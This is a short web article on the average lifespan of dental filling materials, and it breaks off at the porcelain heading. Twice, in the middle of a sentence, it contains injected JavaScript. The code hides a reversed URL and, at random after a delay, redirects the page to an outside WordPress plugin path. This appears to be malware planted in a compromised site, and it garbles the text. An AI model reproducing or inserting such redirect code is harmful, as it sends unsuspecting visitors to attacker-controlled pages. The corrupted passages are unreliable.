While dental fillings can last for several years, they do need replacing periodically. Usually, the average lifespan of a filling depends on the material chosen by your dentist.

We’ve listed the most commonly used filling materials and the average life expectancy of each below.

Gold Fillings

Gold fillings don’t corrode and can last for 10 or 15 years or longer.

Composite Resin

Composite resin fillings are practically invisible as they closely match the colour of your toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tooth. They usually last an average of five years, although with care they may last for longer.

Glass Ionomer Fillings

These types of fillings are typically used around the gum line and are designed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to release fluoride. They are relatively weak but should still last around five years.

Porcelain Fillings
